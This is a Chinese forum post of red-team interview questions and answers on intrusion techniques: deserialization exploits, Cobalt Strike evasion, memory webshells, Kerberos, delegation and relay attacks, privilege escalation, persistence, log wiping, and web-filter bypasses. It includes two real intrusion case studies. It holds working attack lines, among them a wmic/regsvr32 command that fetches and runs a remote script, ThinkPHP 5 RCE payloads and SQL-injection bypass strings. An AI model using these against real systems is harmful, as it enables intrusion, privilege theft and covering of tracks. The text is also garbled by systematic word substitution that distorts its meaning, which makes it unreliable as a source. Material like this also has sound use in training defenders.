锦通 发表于 2025-3-24 03:10:53

面试问题-(红队/HW)

1.shiro反序列化
shiro反序列化漏洞原理:shiro550(下令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值)
比力重要的是AES加密的密钥,一样平常的shiro利用工具就是找到其默认的AES的key,然后反序列化实行我们的恶意payload即可
Java Runtime为什么要bash编码:管道符、输入输出重定向,只有在bash环境下才能用
shiro550与shiro721的区别是什么:加密的方式不同了,721用的是AES-128-CBC加密
利用失败的原因可能有哪些:(1)没有找到真的gadget(2)经过oracle padding加密后的payload过长导致打不进去
找到了key无法生成内存马:(1)webshell的版本不对(冰蝎)(2)没有写进去或者被杀了(3)用gsl或者其他shiro得工具
shiro反序列化绕waf:
(1)rememberme cookie加密(再payload中参加!、@、#)+垃圾数据混淆 (base64加密不同语言环境添加的垃圾字符不一样)
(2)fuzzing请求方法,将get请求fuzzing,未知请求方法绕过
(3)HOST回车、TAB,fuzzing ua头
(4)rememberme cookie做一个loader,恶意的payload放post内容
(5)缩小反序列化的长度(分块传输,代码层优化)
防御方法:(1)升级新版本(2)倒霉用默认key

2.fastjson反序列化
特征:一些json的字符串,直接用payload请求dnslog
fastjson就是将json格式转换为类、字符串等,或者将类、字符串等数据转换成json数据,雷同序列化的操纵,fastjson版本 <= 1.2.24(jndi注入和JSON.parseObject()函数的反序列化)
fastjson反序列化漏洞原理:Fastjson是自己实现的一套序列化和反序列化机制,构造恶意的JSON内容,程序对其举行反序列化后得到恶意类并实行了恶意类中的恶意函数,进而导致代码实行(getter方法/setter方法存在漏洞,payload中@type)
如何理解反序列化:我们是没办法直接转储对象,只能将对象的所有属性逐一访问,生存,取出时逐一还原,序列化与反序列化就是为了办理这个问题
rmi和ldap是什么:rmi相称于是办理java客服端与服务端长途调用对象的一个方法,ldap就是身份认证认证
jndi和jdbc的区别和接洽:两者都是API,是连接数据库的标准,jdbc只能用来连接数据库,jndi还可以管理当前应用服务器上的其他资源,如网页,文件等
fastjson版本号怎么获取:(1)利用AutoCloseable报错检察response返回包确定版本(2)利用payload去尝试(符合的payload会延时)
fastjson不出网如何利用(payload打不成功可能是fastjson版本问题,或者是服务器的java版本比力高):
(1)利用C3P0构造二次反序列化,C3P0是JDBC的一个连接池组件(hex base以及jndi两个Gadget利用链)
(2)通过将注册恶意类的字节码文件和注册controller的类的字节码文件经过BCEL编码后请求到服务器,但BCEL ClassLoader(类加载器)在Java 8u251以后就没有了,BCEL可以创建、修改Java Class文件的API
(3)TemplatesImpl来加载字节码实行下令,需要开启SupportNonPublicField功能(很苛刻)
(4)common-io写文件
fastjson绕过waf:
(1)利用unicode/hex编码,2者可混合利用
(2)特别符号:多个逗号,下滑线,表明,空格,引号不添加(type后的第一个引号,dataSourceName不加),减号,dataSourceName添加is,/b
fastjson dnslog有回显,利用ldap和rmi无回显:
(1)jdk版本问题
(2)假如是恶意的ldap无回显,需要bcel回显或者打内存马,假如恶意的http无回显,反序列化链绕jdk限制
(3)判断是否真的能出网,53dns udp,1099rmi tcp,防火墙大概率会屏蔽这种异常tcp端口,建议用443端口

3.cobalt strike相关问题
修改cobalt strike特征
1.修改teamserver连接端口,可通过.properties文件修改,也可以修改teamserver
2.修改证书hash,利用keytools,放置cobaltstrike.store
3.通过c2 malleable自定义http-stager的uri
4.通过cdn上线(利用cloudflare,得注意匹配所有js文件,mime-type头文件得注意,可能无回显)
5.域前置:
作用:通过HTTPS 通用规避技能潜伏自己的远控
原理:通过向 cdn 的节点 ip 发送包罗想要伪造 host 的请求,cdn 便会从记录中查找该 host 对应的源站 ip,并将流量转发至原站 ip
操纵:cs设置一个监听器(host改为谷歌和端标语443) -->然后部署gae(谷歌的云平台)代码,参数的内容包括cs的ip或域名 --> 更改我们的cs设置文件    
BOF:
作用:潜伏自己
原理:BOF就是Beacon Object File,就是编译后但未链接的目的文件,链接目的文件后就会变成PE文件或其他格式的本机程序,雷同于shellcode和loader的感觉,Beacon在接收实行obj前,Cobalt Strike会先对这个obj文件举行一些处理(剖析obj文件中的段.text,.data),处理重定位,填充函数指针
execute-assembly:
作用:无文件落地,内存实行C#文件

4.内存马
Tomcat内存马(有Listener型,Filter型,Servlet型)
Listener型:动态注册恶意的Listener,一样平常注册request,通过获取StandardContext对象注册恶意listenner
Filter型:通过控制filterMaps、filterConfigs、filterDefs的值,则可以注入恶意的filter(shiro内存马,也可以改造代码移植到冰蝎,gsl)
Servlet型:找到StandardContext,继承并编写一个恶意servlet,并创建一个对象,修改对象的参数,最后将 url 路径和 servlet 类做映射
spring mvc内存马
controller型:利用registerMapping方法来动态注册我们的恶意controller(fastjson内存马)
weblogic内存马
Filter型:加载恶意类,动态注册filter(调用registerFilter举行注册),可改造移植到冰蝎
java agent内存马:java.lang.instrument包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,通过 java.lang.instrument 实现的工具我们称之为 Java Agent ,Java Agent 能够在不影响正常编译的环境下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法,agent内存马动态修改特定类的特定方法,将我们的恶意方法添加进去

如何识别内存马:
1.没有在web.xml中设置的filter,或者filterClass为空的Filter,由于此类内存马是通过filter动态注册的
2.特别classloader加载(比如TemplatesImpl和bcel)
3.把内存中所有的Filter的class dump出来,利用fernflower等反编译工具分析看看,是否存在恶意代码(总的来说有filter,但是没class文件)
如何查杀:
1.清除内存马中的Filter的恶意代码
2.模仿中间件注销Filter

5.分享一些实战案例
案列1:
某次HW项目中,改网站利用的是Onethink的模板,有cdn,找到背景目次,爆破没成功,找端口/fuzzing目次,检察js泄露,然后百度发现有sql注入的poc,但是没有利用成功,最后发现有ssrf的漏洞,然后在自己的vps监听,成功获取到站点的真实IP,然后通过真实IP找旁站,找到一个pageadmin的站点,百度漏洞,可通过修改全能cookie进入背景,然后上传,上传绕过,通过ashx绕过成功进入该企业内网,当前是在工作组,内网探测发现一个致远的OA系统,然后发现改OA存在status.jsp泄露,进去可以发现员工的登录日记,收集员工的账号,密码喷射,成功爆破出密码,登录OA背景,获取cookie信息上传压缩文件拿下OA权限,发现该OA双网卡,扫描第二个网段,发现存在ms17010,用msf的exp没有打动,然后用shadowbroker原生py打成功,拿下该权限,发现存在域环境,dump lsass获取账号密码,利用CVE-2021-42287拿下域控权限
案列2:
某次HW项目中,扫描某网站的C段,通例试探非80端口(比如81,88),找到一处登录点,经确定为目的资产,弱口令进入背景,找上传发现没有找到,扫描目次时发现存在OA目次,进去会重定向,url会出现一个字符串,该字符串我们猜测是该背景的名称,然后百度发现某个位置存在注入,发现存在WAF,简单fuzzing后发现拦截规则,空格(内联),逗号被过滤(case when绕过),等号(like),concat(make_set),from(3e0from)被过滤掉,最终绕过,sqlmap成功利用--os-shell拿下权限,但是发现下令没有回显,写入文件检察就行不通,其时思量通过dnslog外带,但是实行就卡死,估计是有域名黑名单的策略,最后的办理方案是利用wmic绕过,具体方式是在我们的vps上放置相关xml(xml是实行的下令),在终端实行wmic process call create "regsvr32 /s /n /u /i:http://192.168.149.133:1337/as.txt scrobj.dll",就可以把输出的内容以base64的形式回显在我们的vps上,然后用同样的方式写入webshell,拿下改IIS服务器权限,翻阅相关文件,找到数据库的相关账密(sqlserver),开启xp_cmdshell拿下,发现环境在域环境下,且我们的sqlserver权限也是域用户,检察注册表发现域控的IP出现过此机器,且我们whoami /priv有相关特权,可以提权为system,且此机器为非约束委派的机器,于是ntlmrelay监听,获取到域管的TGT,利用域管的TGT成功dcsync,拿下域控制器

6.内网kerberos认证,金银票据,bypassuac,dll注入\劫持,ACL
一些基本概念:
TGT:客户机将明文密码举行NTLM哈希,然后和时间戳一起加密(利用krbtgt密码hash作为密钥),发送给kdc(域控),kdc对用户举行检测,成功之后创建TGT(Ticket-Granting Ticket)
PAC:特权属性证书,PAC包罗Client的User的SID、Group的SID,决定给予Client什么样的资源访问权限
SPN:即服务主体名称,是服务实例(比如:HTTP、SMB、MySQL等服务)在利用 Kerberos 身份验证的网络上的唯一标识符,其由服务类、主机名和端口构成
KDC负责管理票据、认证票据、分发票据,但是KDC不是一个独立的服务,它由以下服务构成:
Authentication Service: 为client生成TGT的服务
Ticket Granting Service: 为client生成某个服务的ticket

Kerberos 认证流程:
1.用户向KDC发起AS_REQ,请求凭据是用户hash加密的时间戳,KDC利用用户hash举行解密,假如效果正确,返回krbtgt hash加密的TGT票据,TGT内里包罗PAC
Kerberos在account database检察我们客服端的账户是否是白名单,是的话将tgt返回给客户端(会查找是否有雷同用户名的用户,假如没有该用户名,认证失败)
TGT中包罗的内容有kerberos数据库中存在的该客户端的Name,IP,当前时间戳,客户端

2.用户依附TGT票据向KDC发起针对服务的TGS_REQ请求,KDC利用krbtgt hash举行解密,假如效果正确,返回用服务hash加密的TGS票据
这一步不管用户有没有访问服务的权限,只要TGT正确,就返回TGS票据,这也是kerberoating能利用的原因,任何一个用户只要hash正确,可以请求域内任何一个服务的TGS票据。

3.用户拿着TGS票据去请求服务,服务利用自己的hash解密TGS票据。假如解密正确,域控解密PAC,获取用户的sid,所在组,再判断用户是否有访问服务的权限,有访问权限就允许用户访问
有些服务并没有验证PAC这一步,这也是白银票据能成功的前提,由于就算拥有用户hash可以制作TGS,也不能制作PAC,PAC固然也验证不成功

PTH&PTT&PTK
PTH原理:在Windows系统中利用NTLM身份认证,NTLM认证利用口令加密后的hash值(hash值由系统API生成),假如攻击者获得了hash,即跳过调用API生成hash的过程
默认打了补丁,其他用户无法pth,但是administrator(sid:500以及当地管理组的域用户)仍可以pth(非RID500账户登录之后是没有过UAC的,所有特权都被移除,可通过注册表办理)
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy项存在(默认不存在)且设置为1

PTT:PASS THE Ticket(ms14068提权,金银票据)
ms14068提权原理:PAC没有放在TGT中,放在了TGS的数据包中,且KDC无法正确检查 Kerberos 票证请求随附的特权属性证书 PAC 中的有效署名(利用MD5署名(PAC尾部的署名算法可以恣意指定))
白银票据:
当我们知道了server的hash,直接伪造TGS,就可以跳过认证的第一步和第二步,直接请求成功
黄金票据:
当我们知道了krbtgt的hash,跳过 AS 验证,就可以伪造第一步的tgt,进而拿到黄金票据
两者的防御方法:
1.及时更新krbtgt用户的密码
2.开启pac认证(检测白银票据,由于就算拥有用户 hash,可以制作 TGS,也不能制作 PAC,PAC 固然也验证不成功)

PTK:PASS THE KEY(密钥通报攻击)
PTK原理:通过获取用户的aes hmac,通过kerberos认证,可在NTLM认证被禁止的环境下用来实现雷同pth的功能

Kerberoasting(SPN 服务主体名称发现•请求服务票据•服务票据的导出•服务票据的暴力破解),一样平常配合找寻特定ACL用户,比如能否写入SPN的用户

bypass uac
uac的原理:开启uac后,假如用户是标准用户, Windows 会给用户分配一个标准 Access Token 假如用户以管理员权限登陆,会生成两份访问令牌,一份是完备的管理员访问令牌(Full Access Token),一份是标准用户令牌,UAC 绕过的基础,就是子进程从父进程中继承访问令牌,windows操纵系统的进程完备性级别一共有4个,分别是Low(低完备性级别),Medium(中完备性级别),High(高完备性级别),System(系统)。在标准模式下,程序一样平常都运行在Medum级别,比及UAC提升之后,才会提升到High完备性级别。
触发uac的场景:将文件移动或复制到Program Files或Windows目次,检察其他用户文件夹,改变用户的账户范例
绕过uac的方法:
1.shell api白名单绕过,有一些系统程序直接获取管理员权限且不弹出uac的窗口,这些程序拥有autoElevate属性的值为True(利用sigcheck64.exe发掘),随后配合Procmon监听exe修改注册表的动作
2.利用com接口绕过:
(1)elevation属性开启,且开启Auto Approval(需要利用这个特点绕过UAC,OleViewDotNet和IDA来举行检察) 
(2)COM组件中的接口存在可以下令实行的地方(用来实行我们自己的下令,例如ICMLuaUtil的ShellExec)
总的来说就是用OleViewDotNet和IDA来检察com组件是否开启Auto Approval,开启了去看所利用得dll是否可以实行下令
3.提权

ACL
ACL的作用:一个用户能不能访问安全对象(DACL)以及日记记录功能(SACL)
DACL:(1)有DACL,但是ACE条目的数目为0,是不允许任何用户访问的(2)无DACL,允许任何用户访问的
拥有修改DACL的权限可以做如下操纵:
(1)具有dcsync的权限(DS-Replication-Get-Changes/复制目次更改)
(2)在不知道用户密码的环境下修改密码(User-Force-Change-Password)
(3)将恣意用户添加到恣意组
(4)写入SPN的权限,可用于kerberoating

dll注入\劫持
dll注入:将我们的shellcode注入某一个进程支持的dll中,修改或拓展程序行为,固然可以利用反射dll注入来过一些静态免杀
dll劫持:a.exe运行需要b.dll,我们将恶意的c.dll放置在比b.dll更优先级实行的位置,也是通常白+黑常用的方式(Process Monitor检察启动dll是否有loadLibaryEx)

psexec与wmicxec有什么区别
1.用了psexec会产生日记,且无法清除掉,会被发现
2.端口不一样,一个是基于445端口,一个是基于135端口

7.关于域委派攻击
委派概念:接受委派的用户只能是服务账户或者机器用户,委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户权限访问域内的其他服务
非约束委派:当用户访问设置了非约束委派的服务账号,该服务账号会缓存该用户的TGT,一样平常通过诱使域管用户(MSSQL/IPC/IIS)或者打印机漏洞让域管用户强制回连以缓存 TGT
约束委派:和非约束委派不同,不能获取用户的TGT,且扩展了两个子协议(S4U2Self,S4U2Proxy) ,一样平常通过获取委派的服务账号的明文密码或者ntlm,伪造S4U请求,进而伪装成服务用户以恣意账户的权限申请访问指定服务的ST
基于资源的约束委派:拥有将机器B参加域的域用户的权限(有修改 msDS-AllowedToActOn权限),假如拿到将机器参加域的账号的权限或者Account Operators组的权限,即可获取该账号参加域的所有机器的system权限或除域控外所有机器的system权限
关于约束委派的防范措施:
1.高权限的用户,设置不能被委派
2.只管利用高版本的域控(Windows 2012 R2 及更高的系统),有受保护的用户组,组内用户不允许被委派
3.主机账号需设置委派时,只能设置为约束性委派

8.ntlm relay
什么是relay:强制目的服务器、目的用户利用LM Hash、NTLM Hash对攻击者的服务器举行认证,攻击者将该认证中继至其他目的服务器中
常见触发relay的方式:1.printerbug 2.PeitiPotam 3.DFSCoerce 4.shadowcoerce 5.privexchange(cve-2018-8581)
relay2smb以及relay2ldap常见的利用方式:smb(假如拿到域控的请求relay到域控运维的机器,假如没有开启smb署名认证可以relay回域控,或者relay回自己),ldap(高权限组以及写acl以及基于资源的约束委派)
防御方法:1.非须要不启用 Print Spooler 服务 2.禁用已废弃的NTLM认证 3.启用身份验证扩展保护 (EPA)、SMB 署名
什么是relay?
由于ntlm hash有2种,Net-NTLM v1能破解,Net-NTLM v2也能用hashcat破解,不外看运气,假如破解不出来,就需要relay,那什么是relay,相称于web内里的重放,我们可以把域控relay到其他运维的域机器,常见的有relay smb(比如中继监听到域管的ntlm,那么我们可以用域管的ntlm relay到其他域机器从而拿到权限)和relay ldap(约束委派以及acl dcsync以及参加管理组前提是relay的用户是高权限组)
PetitPotam和Printerbug relay都能relay,区别是什么?
Printerbug需要开启spoolss服务,以及两者的smb管道和协议也不一样

9.内网常见的CVE/横向方式
MS17010:永恒冠军,永恒浪漫(shadowbroker)
CVE-2019-1040:relay的是exchange的机器,有写acl的权限,直接可dcsync,假如是平常用户权限(看在哪个组/有无写acl权限),添加基于资源的约束委派,如何绕过Mic,取消设置NTLM_NEGOTIATE消息中的署名标志
CVE-2020-1472:在Netlogon协议中没有正确利用加密算法而导致的漏洞,使得攻击者在明文(client challenge)、IV等要素可控的环境下,存在较高概率使得产生的密文为全零,poc打完需将域控hash还原
CVE-2021-42287:攻击者用该漏洞创建一个机器用户,再把机器用户的sAMAccountName改成DC的sAMAccountName,然后申请一个tgt票据,最后再把dc的sAMAccountName改回机器用户的sAMAccountName,kdc此时找不到dc的sAMAccountName,就会利用我们创建的机器用户,最终获得域控制器DC的权限
CVE-2022-26923:ADCS漏洞,把添加的这个计算机账户的DNShostname改成和DC一样,在利用certipy通过用证书举行认证的方式,由于之前这个计算机账户的DNS hostname改成和DC一样了,以是就会返回DC的hash值

内网横向移动比力关注的东西
Linux:查找相关密码(数据库/运维密码),翻阅开发相关网站(找密码,aksk,gitlab),找其他好打的web服务进一步渗透(weblogic/jboss等)
Windows:当前设备的安全设备有哪些,当前账户权限(是否为域用户/所处的组/有哪些acl/是否委派/有无ipc空连接/连接过的rdp),所在的网段(域控在哪儿),终端的wifi密码,近来欣赏的文件,注册表(有无其他第三方数据文件),欣赏器密码书签,相关的web服务(weblogic/vcenter/exchange/ADCS/jenkins/zabbix),所否存在常见的CVE(ms17010,2020-1472)

10.exchange(ssrf+rce)/Vcenter
寻找Exchange:(1)25:smtp ,443:owa页面,587:加密身份验证(2)下令查找net group "Exchange Domain Servers" /domain 或者setpan (3)特别目次,owa/outodiscover/mapi等 (4)特俗子域名(mail/owa)
检察Exchange版本:F12检察发行版本号在和官网对比
Exchange相关的打法
1.利用相关CVE打:
(1)CVE-2019-1040:ntlm relay
(2)CVE-2020-0688:四个值可控(--validationkey默认, --validationalg = SHA1,--generator=B97B4E27(基本默认)--viewstateuserkey = ASP.NET_SessionId(手工获取,变量,每次登陆都不一致)),导致的RCE
(3)CVE-2021-26855:通过SSRF漏洞攻击,访问autodiscover.xml泄露LegacyDN信息,在通过LegacyDN,获取SID, 然后通过SID,获取exchange的有效cookie,最后通过cookie对OABVirtualDirectory对象举行恶意操纵,写入一句话木马,达到控制目的的效果。
2.OWA/EWS/Microsoft-Server-ActiveSync/autodiscover密码爆破,密码喷射
获取邮箱所在:
(1)通例信息收集,github,语雀等
(2)网站,微匹,hunter,skymem
(3)工具,theHarvester,也可以利用工具验证邮件得准确性

寻找Vcenter:(1)5480端口
Vcenter相关的打法
1.根据Vcenter版本信息确定存在的漏洞,通过漏洞获取webshell,假如权限为root,伪造cookie或者创建用户操纵获取web权限,获取更多机器的权限,假如权限为vsphere-ui,提权到root
2.检察Vcenter版本,sdk/vimServiceVersions.xml
3.利用相关CVE打
(1)CVE-2021-21972 RCE(需要知道真实路径),默认路径C:\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps,写不进去可以往子级目次写
(2)CVE-2021-21985 RCE,启用的Virtual SAN Health Check插件缺乏输入验证,可在操纵系统上长途实行恣意下令
(3)CVE-2021-22005,文件上传
4.配合Log4j,Vcenter的SAML路由,增加XFF,把需要实行的下令跟在XFF背面

11.信息收集
web端的信息收集
(1)通例的资产收集,包括子域名,端口,c段,旁站等,以及微信公众号,qq群,谷歌语法找相关pdf,xlsx检察工号,姓名,公开笔记(语雀等)
(2)邮件征采,脉脉在职员工定向钓鱼(vx,手机号,邮箱),公司构造架构,电话,物理所在(打不动可以思量物理渗透),抖音找员工
(3)服务器的提供商,各类云,各类waf,vpn的设备是什么,如今供应链是新的方向了
(4)一些安全漏洞(比如域传送漏洞nslookup dig检察,内网可以利用host头碰撞,原理是nginx/Apache的反向代理的host设置没删除,是否有.git/.svn/ds_store文件泄露,还原代码,jsonp泄露)
终端的信息收集
(1)本机信息(杀软进程/是否为虚拟机/docker),系统版本,网段信息(vpn/双网卡),/etc/hosts文件
(2)相关文件/敏感字段 findstr  /s /m "password" *.*查找,wifi密码,欣赏器密码,cookie,书签,powershell/bash终端记录,rdp终端链接记录,密码策略,navacit/xshell等工具密码破解
(3)中间件文件的设置文件(tomcat/nginx/apache)
(4)当前账号权限检察,linux检察是否有空密码用户,特权用户账户
windows域账户
1.检察该域用户登录了哪些域机器(PsLoggedon.exe,长途登录后会在注册表有值,这也是工具实现的原理)
2.当前所在用户所在的组,有哪些acl,是否是委派的账号
3.是否有ipc空连接,是否有SYSVOL组策略gpp文件泄露获取密码
清空渗透陈迹
windows:删除各类日记文件,%SystemRoot%\system32\config,利用工具Phant0m
linux:history -c清空his记录,删除各类日记文件,

12.内网不出网上线方式
0.cs上线Linux机器:利用CrossC2,在交互式的shell内里找一台中转机,用ssh上线
0.1 Cobalt Strike Windows Executable是生成Stager范例的马,而Windows Executable(S) 是生成Stageless范例的马。那Stager和Stageless有啥区别呢
Stager是分阶段传送Payload的木马,Stageless是完备的木马
中转机器能出网
1.假如有中转机器,内网不出网机器上线,可利用SMB Beacon上线,利用ipc上传beacon,上传后用link下令连接上线,也可以利用tcp beacon上线
2.用流量工具代理,在中转机器开启https代理的端口(一样平常用goproxy,pystinger),再把不出网的内网机器未利用的端口重定向到https代理端口,生成payload实行上线
中转机器不出网
1.中转机器是否只是tcp协议不出网(dns能出网(nslookup dig检测)设置cs监听文件,exe/ps1都能上线,icmp能出网(ping tracert检测),利用pingtunnel)
2.上线自己的攻击机,假如能用abptts举行流量代理,那阐明能够通过tcp beacon上线
3.Pystinger来实现内网反向代理

13.redis未授权
windows与redis常见拿shell的方法
windows:1.绝对路径写webshell(前提是有web服务)    2.启动项(目次/注册表)    3.dll劫持     
linux:1.写计划使命(var/spool/cron)    2.公私钥(是否存在root/.ssh),将公钥写入    3.绝对路径写webshell(config set写入)
redis主从复制(redis的版本在4-5):
redis实例作为主机,主机只负责写,从机只负责读。构造恶意.so文件,主机实例通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可实行下令
修复方式:(1)禁止外部访问redis服务端口(2)禁止root权限启动redis服务

14.文件上传
常见绕过方式,白名单用剖析漏洞绕过(IIS剖析漏洞/ngnix剖析漏洞),黑名单绕过方式如下:
(1)垃圾数据/大小写/00截断/分块传输/双写绕过
(2)各类编辑器漏洞(FCK,ewbeditor)
(3)利用二次渲染/NTFS ADS的特性绕过
(4)BurpSuite fuzzing content-Disposition/filename/from-data/Content-Type/boundary(删除,添加空格,回车),fuzzing header头,添加X-Real-IP: 1.1.1.1/X-FORWOARD-FOR
(5)多的后缀名,php php php3 php4  phtml  jsp jspx jspf aspx=ashx

15.CSRF与CORS
csrf(跨站请求伪造)
用当前用户的权限去实行当前用户能做的事情,比如背景管理员新增用户,修改密码,固然也能getshell,看你的表单怎么构造以及当前用户的权限是否能够新增修改模板代码或者添加管理员(前提有源码)
防御方法:
(1)增加referer头(2)增加token的验证,以及各种二次验证,比如验证码,二次密码(3)只管利用post方法(4)同源策略
同源策略(SOP):协议,https/http,端口,域名(子域名)三者保持一致,假如不一致将会无法请求数据
cors(跨域资源共享)
攻击场景:
(1)检察requests中是否有Origin和response中时间存在ACAO,ACAC,ACAC是否为true
(2)Burp 流量中搜索decrypt,function decrypt,publicKey等关键词的信息,然后解密解密相关cookie
(3)跨域获取相关信息
CORS漏洞绕过:
(1)Origin校验绕过,前缀匹配,包罗匹配,后缀匹配
cors与jsonp的区别:(1)cors支持get和post方式的跨域,jsonp只支持get(2)cors不支持IE10一下的欣赏器,jsop支持所有欣赏器

16.xss,csp,sql注入
xss:
常见的绕过方法:
(1)编码绕过(html编码,js进制绕过),常见函数更换(svg onload,sCrIpT,input onfocus)
(2)特别符号更换:()号绕过(用反引号``代替括号,编码),引号绕过(用左斜线更换引号),空格绕过(/**/,用左斜线代替空格,+,%0d,%0a),单引号转义转义符\却不转义,导致单引号
(3)iframe配合data伪协议
(4)表明,闭合(-->还有--!>)
(5)上传带js的图片,带js的pdf
DOM型XSS和反射型XSS的区别:DOM型XSS其实算反射型XSS,但是DOM型XSS不会和背景举行交互,是Web前端安全问题,当攻击者可以控制一些DOM对象且脚本并没有对用户输入内容举行有效的过滤,就会导致DOM型XSS漏洞的存在
httponly怎么绕过:
(1)假如有phpinfo,找到$_COOKIE["cl_session"],会打印出httponly属性的cookies,在构建相关js请求cl_session参数,让目的网站请求我们的恶意js可绕过
(2)钓鱼,构造雷同界面,输入密码
(3)利用cors,原理是会话劫持,通过在恶意的js代码内里监听端口
csp(Content-Security-Policy):
csp是内容安全策略,能够制止部门XSS攻击和数据注入攻击,CSP 的实质就是白名单制度,告诉客户端,哪些外部资源可以加载和实行.
csp策略具体内容一样平常在header字段以及html meta标签内里(常用的策略指令:(1)sandbox 沙盒模式,会制止弹窗js的实行(2)default-src安全策略)
如何绕过csp:
(1)安全开发人员没有设置好,default-src字段为空,可以利用meta标签实现跳转
(2) 安全开发人员没有设置好,script-src 'self' 'unsafe-inline',可以实行脚本,但是要跨过可信域的限制,利用window.location/window.open,由于跳转照旧需要前端来实行,后端无法做出限制
(3)假如策略为只允许加载当前域的js,上传一个内容为js的图片
(4)标签fuzzing,比如常见的script/svg/img这些标签会被拦截,但是我们的link标签可以绕过,不同欣赏器对CSP的支持都不完备
防御方法:(1)设置好安全策略CSP/httponly(2)过滤一些敏感字符串(< > " ' /)(3)限制输入长度(4)增加验证码(5)同源策略

sql注入:
判断方式:php?id=6-2*1e308        and 1=TIME_DIFF(ascii(1),*)        and {``1=2}--+
常见的绕过方法:
(1)表明+内联+换行+hex编码+大小写(fuzz中文+%0a),能内联的函数union select / case
(2)特别符号(反引号``,感叹号!!!,编码,xor @,join)
(3)函数更换,order by = group by     union select = union+distinct+select = union+distinctRoW+select    mssql(declare,convert,hex编码,char编码)
(4)垃圾数据
(5)函数绕过,from(3e0from,from{x)    concat(make_set,lpad)      空格(--+(1)%0a,+,内联)     单引号(%bf%27)     =(like,rlike,正则regexp)      括号(case whe配合like)   逗号(case when配合offset/)
(6)hpp参数污染,id=1&id=-2'
盲注除了sleep还有什么什么函数:
ascii substr   strcmp substr    IFNULL substr    benchmark()函数重复实行某项指令
笛卡尔注入原理是什么:
对一张表作自身的笛卡尔积让查询时间变长从而达到和sleep一样的效果,假如系统返回效果的时间与之前有差异,那么就是我们注入的语句成功在系统内实行,也就是说存在注入漏洞
SQLSERVER注入没有回显怎么办:创建一个表,将内容写入这个表,在查询这个表
xp_cmdshell被删除怎么办:(1)启用sp_oacreat,可用wscript和Application(2)上传xplog.dll(3)利用CLR程序集来实行下令(.NET Framework语言用户定义函数,创建恶意的cmd来实行下令)(4)agent job实行
SQLSERVER不支持堆叠如何开启xp_cmdshell:(1)利用if开启堆叠模式(2)开启Ad Hoc Distributed Queries 组件启用堆叠
SQL注入getshell方法,看权限,没有写的权限就读(mysql):
(1)sqlmap的--os-shell:利用into outfile上传马(Secure_file_priv为指定路径或空,拥有网站的写入权限,sqlserver看是不是sa权限)
(2)UDF提权(创建自定义函数(sys_eval/sys_exec)),可用--sql-shell检察版本,plugin文件位置,plugin无法创建可以用文件流创建
Mysql版本大于5.1版本:udf.dll文件必须放置于MYSQL安装目次下的lib\plugin文件夹下
Mysql版本小于5.1版本: udf.dll文件在Windows2003下放置于c:\windows\system32
(3)sql-shell读取密码(背景密码或者数据库密码),找phpadmin,利用日记get-shell,慢日记getshell(可绕过Secure_file_priv=null)
sqlserver:
(1)xpcmdshell写入一句话木马,^^转移,可用hex char绕过
(2)数据库差异备份/日记getshell
(3)sqlserver有部门CVE可以打
SQL注入防御方法:
(1)过滤相关敏感函数
(2)数据库权限不能太高
(3)sql预编译(可fuzzing预编译闭合的方式)
(4)php开启magic_quote_gpc

17.windows&&linux提权的方式
win:
(1)土豆一族,利用relay(Hot Potato--MS16-075,http->smb),利用DCOM CALL 来使服务向攻击者监听的端口发起连接并举行 NTLM 认证(Juicy Potato)
这里补充一下Rotten Potato与Juicy Potato有什么区别
1.Rotten Potato利用的 COM 对象为 BITS,CLSID 为 {4991d34b-80a1-4291-83b6-3328366b9097},Juicy Potato 提供了多个
2.Rotten Potato利用135端口 ,Juicy Potato 支持指定恣意当地端口,但是 RPC 一样平常默认为135端口
(2)whoami /priv(特权提权,一样平常为iis,sqlserver服务账号提权)
(3)定名管道(msf的getsystem)
(4)令牌窃取(incognito)
(5)cve内核补丁提权
linux:
(1)内核漏洞(linux-exploit-suggester.sh)
(2)文件权限设置不当提权(进程启动权限为ROOT,对应文件编辑权限为平常用户,即可触发,常见的比如python,perl,tar,vim,find)
(3)sudo/计划使命设置错误(比如sudo -i,sudo -l,sudo用户免密登录)
(4)第三方服务提权,nfs,数据库等

18.权限维持(从用户和权限这2块来说)
1.利用sc自启动(sc create),计划使命(crontab,plist),bits权限维持,添加sudo免密
2.注册表(run/runonce/control panel(屏幕)/),其他自启动目次隐藏文件(AppData+Start Menu+Startup/Start Menu\Programs\Startup)
3.shift5次后门后门,添加隐藏用户(通过注册表添加,利用api添加)
4.利用acl添加平常用户的完全访问权限(修改用户密码,将用户参加某个组,写入spn的权限/kerberosting,dcsync)  
5.AdminSDHolder         
6.基于资源的约束委派配合krbtgt用户举行权限维持

19.AD&CS
1.定位ADCS服务器            certutil -config - -ping 
2.利用certipy举行ADCS攻击(常见的为ECS1和ECS8)
ECS1:平常域用户到域管理员的提权
ECS8:adcs relay(通过Petitpotam举行relay,获取票据后dcsync)

20.条件竞争
通常的web处理方式是通过单线程线性完成的,假如出现多线程并发请求的环境,数据处理逻辑就可能出现异常,与之雷同的还有hpp污染
条件竞争上传,在文件还没来得及删除访问
防御方式
业务与数据都经量上锁

21.代码审计
全局思路:1.把源码的所有文件写入一个txt,将txt放入bp爆破,检察有无未授权,文件上传等 2.全局搜索一些敏感函数,比如rce相关的file_put_contents,call_user_func等函数,上传相关的字段upload,恣意文件下载/读取的函数,download
XSS漏洞发掘本事,XSS关注document.URL,eval,document.write等函数,SSRF关注调用curl或者wget的函数,在数据交互处查找直接或间接拼入SQL语句实行且输入参数内容我们可控

审计过的CMS/漏洞:福汇sql注入/维多利亚注入/
tp5 rce分析:
比如我们的GET型paylaod:?s=index/\think\app/invokefunction?function=call_user_func&vars=system&vars=whoami
GET型payload总的操纵流程:没有开启强制路由,通过?s的方式传入路由信息,控制器的名字中存在 \或者以\开头,会被会被当作一个类(\think\app),利用定名空间,实例化恣意类,调用恣意类的恣意方法,比如call_user_func,通过对应的内部函数通过get请求传入拿下shell
GET型payload修复:开启强制路由
POST型paylaod:_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
POST型payload总的操纵流程:Request类的method方法可控导致可以调用__contruct()覆盖Request类的filter字段,通过$request->param()会进入到input()方法,input()方法将被覆盖的filter回调call_user_func(),造成rce
POST型payload修复:添加控制器过滤,输入的路由将会报错404,不在实行,或者关闭debug模式
